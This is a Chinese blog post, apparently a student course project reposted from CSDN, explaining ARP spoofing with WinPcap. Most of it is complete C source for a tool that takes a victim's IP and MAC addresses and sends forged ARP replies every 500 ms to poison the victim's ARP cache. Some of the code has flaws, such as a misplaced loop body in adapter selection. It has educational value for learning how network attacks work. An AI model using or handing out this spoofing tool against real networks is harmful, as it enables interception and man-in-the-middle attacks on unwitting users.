以下代码大体上是没有问题的,可以根据自己的一些需求进行修改!
谢谢指正错误
在课设期间,从网上学习了简单的实现ARP欺骗
ARP欺骗的原理很简单:通过不断的向目标发送ARP包,致使目标主机的ARP缓存表中正确的IP映射的是错误的MAC地址
在书上的介绍中,采用了WinPcap的开发包,这样很方便的对网卡进行操作
所以,首先需要安装winpacp,并下载开发者包https://www.winpcap.org/devel.htm
对项目文件属性进行配置
1.
2.
3.
4.
以下是根据网上的学习,所实现的代码:
#ifndef WIN32_LEAN_AND_MEAN
#define WIN32_LEAN_AND_MEAN
#endif
#include <stdio.h>
#include <stdlib.h>
#include "pcap.h"
#include <string.h>
// DLC Header
#pragma pack (1)//使结构体按1字节方式对齐
typedef struct tagDLCHeader
{
unsigned char DesMAC[6];//以太网目的mac地址
unsigned char SrcMAC[6];//以太网源目的mac地址
unsigned short Ethertype;//帧类型
} DLCHEADER, *PDLCHEADER;
typedef struct tagARPFrame
{
unsigned short HW_Type;//硬件类型,2字节,填充0x0001
unsigned short Prot_Type;//协议的类型,2字节,填充0x0800
unsigned char HW_Addr_Len;//MAC地址长度,1字节
unsigned char Prot_Addr_Len;//IP地址长度,1字节
unsigned short Opcode;//操作码,2字节,0x0001为请求包,0x0002为应答包
unsigned char Send_HW_Addr[6];//发送方的MAC地址
unsigned long Send_Prot_Addr;//发送方的IP地址
unsigned char Targ_HW_Addr[6];//接受方的MAC地址
unsigned long Targ_Prot_Addr;//接收方的IP地址
// unsigned char padding[18];
} ARPFRAME, *PARPFRAME;
// ARP Packet = DLC header + ARP Frame
typedef struct tagARPPacket
{
DLCHEADER dlcHeader; //以太网头部
ARPFRAME arpFrame;//arp头部
} ARPPACKET, *PARPPACKET;
#pragma
int mac_str_to_bin(char *str, char *mac)
{
int i;
char *s, *e;
if ((mac == NULL) || (str == NULL))
{
return -1;
}
s = (char *)str;
for (i = 0; i < 6; ++i)
{
mac[i] = s ? strtoul(s, &e, 16) : 0;
if (s)
s = (*e) ? e + 1 : e;
}
return 0;
}
//
pcap_t *adhandle;
char errbuf[PCAP_ERRBUF_SIZE];
pcap_if_t *alldevs;
pcap_if_t *d;
pcap_t * init()
{
// pcap_if_t *alldevs;
// pcap_if_t *d;
int inum;
int i = 0; //网卡数量
/* Retrieve the device list */
//获取当前网卡列表
if (pcap_findalldevs(&alldevs, errbuf) == -1)
{
fprintf(stderr, "Error in pcap_findalldevs: %s\n", errbuf);
exit(1);
}
//打印网卡的列表
for (d = alldevs; d; d = d->next)
{
printf("%d. %s", ++i, d->name);
//如果有网卡就打印出来
if (d->description)
{
printf("(%s)\n ", d->description);
}
else
{
printf(" (No description available)\n ");
}
}
if (i == 0)
{
printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
return 0;
}
printf("Enter the interface number (1-%d):", i);
scanf_s("%d", &inum, sizeof(int));
if (inum < 1 || inum > i)
{
printf("\nInterface number out of range.\n");
/* Free the device list */
pcap_freealldevs(alldevs);
return 0;
}
//跳转到所选择的适配器
for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++)
//打开所选的网卡适配器
if ((adhandle = pcap_open_live(d->name, //适配器的名称
65535, //捕获的数据包的部分。
//65535是捕获所有流经的数据包,所有的数据包通过都产生端口
0,
1000, //读取超时时间
errbuf //错误缓存
))
== NULL)
{
fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
/* Free the device list */
pcap_freealldevs(alldevs);
return 0;
}
printf("\nlistening on %s...\n", d->description);
/* At this point, we don't need any more the device list. Free it */
//当监控某个网卡适配器后,就释放其他的,因为用不到了
pcap_freealldevs(alldevs);
return adhandle;
}
void sendArpPacket(pcap_t * fp, ARPPACKET &ARPPacket)
{
/* Send down the packet */
if (pcap_sendpacket(fp, // Adapter
(const u_char *)&ARPPacket, // buffer with the packet
sizeof(ARPPacket) // size
) != 0)
{
fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(fp));
printf("send NULL ! \n");
return;
}
else
{
// printf("%d", sizeof(ARPPacket));
printf("send OK ! \n");
}
}
ARPPACKET makeArp(int a){
ARPPACKET ARPPacket;// 定义ARPPACKET结构体变量
int arpType;
struct in_addr s;
char* srcIP;
srcIP = (char*)malloc(sizeof(char) * 16);
char* desIP;
desIP = (char*)malloc(sizeof(char) * 16);
char* srcMac;
srcMac = (char*)malloc(sizeof(char) * 18);
char* desMac;
desMac = (char*)malloc(sizeof(char) * 18);
if (a == 1)
{
printf("欺骗a方:\n");
printf("请输入b方ip地址:");
scanf_s("%s", srcIP, 16);
printf("请输入a方ip地址:");
scanf_s("%s", desIP, 16);
printf("请输入arp包类型[01:请求 02:应答包][若需攻击则为02]:");
scanf_s("%d", &arpType, sizeof(int));
printf("请输入本机mac地址:[格式为ff:ff:ff:ff:ff:ff]");
scanf("%s", srcMac);
printf("请输入a方mac地址:[格式为ff:ff:ff:ff:ff:ff]");
scanf("%s", desMac);
}
/*else if(a==2)
{
printf("欺骗B方:\n");
printf("请输入A方IP地址:");
scanf_s("%s", srcIP, 16);
printf("请输入B方IP地址:");
scanf_s("%s", desIP, 16);
printf("请输入ARP包类型[01:请求 02:应答包][若需攻击则为02]:");
scanf_s("%d", &arpType, sizeof(int));
printf("请输入本机MAC地址:[格式为ff:ff:ff:ff:ff:ff]");
scanf_s("%s", srcMac, 12);
printf("请输入B方MAC地址:[格式为ff:ff:ff:ff:ff:ff]");
scanf_s("%s", desMac, 12);
}*/
mac_str_to_bin(srcMac, (char*)ARPPacket.dlcHeader.SrcMAC);
mac_str_to_bin(desMac, (char*)ARPPacket.dlcHeader.DesMAC);
ARPPacket.dlcHeader.Ethertype = htons((unsigned short)0x0806); // DLC Header的以太网类型ARP包
ARPPacket.arpFrame.HW_Type = htons((unsigned short)0x0001);
ARPPacket.arpFrame.Prot_Type = htons((unsigned short)0x0800);
ARPPacket.arpFrame.HW_Addr_Len = (unsigned char)6;//MAC地址长度
ARPPacket.arpFrame.Prot_Addr_Len = (unsigned char)4;// IP地址长度
ARPPacket.arpFrame.Opcode = htons((unsigned short)arpType);//arp包类型
mac_str_to_bin(srcMac, (char*)ARPPacket.arpFrame.Send_HW_Addr);
ARPPacket.arpFrame.Send_Prot_Addr = inet_addr(srcIP);// 源IP
// printf("%6.6x \n", ARPPacket.arpFrame.Send_Prot_Addr);
mac_str_to_bin(srcMac, (char*)ARPPacket.arpFrame.Targ_HW_Addr);
ARPPacket.arpFrame.Targ_Prot_Addr = inet_addr(desIP);//目的IP
// printf("%6.6x \n", ARPPacket.arpFrame.Targ_Prot_Addr);
return ARPPacket;
}
int main(int argc, char **argv) {
pcap_t * adhandle = init();
ARPPACKET ARPPacket_A = makeArp(1);
// ARPPACKET ARPPacket_B = makeArp(2);
while (true)
{
sendArpPacket(adhandle, ARPPacket_A);
// sendArpPacket(adhandle, ARPPacket_B);
Sleep(500);
// Sleep(1000);
}
pcap_close(adhandle);
return 0;
}
实现之后的操作结果如图所示:
结果在wareshark中抓包,显示如图:
这次课设,了解了ARP的包结构和使用winpacp的发包与收包工作,同时如何构造ARP包,IP包,UDP包,学习书上对于IP包的分析代码也是很有收获。
---------------------
原文:https://blog.csdn.net/yy19961124/article/details/73845476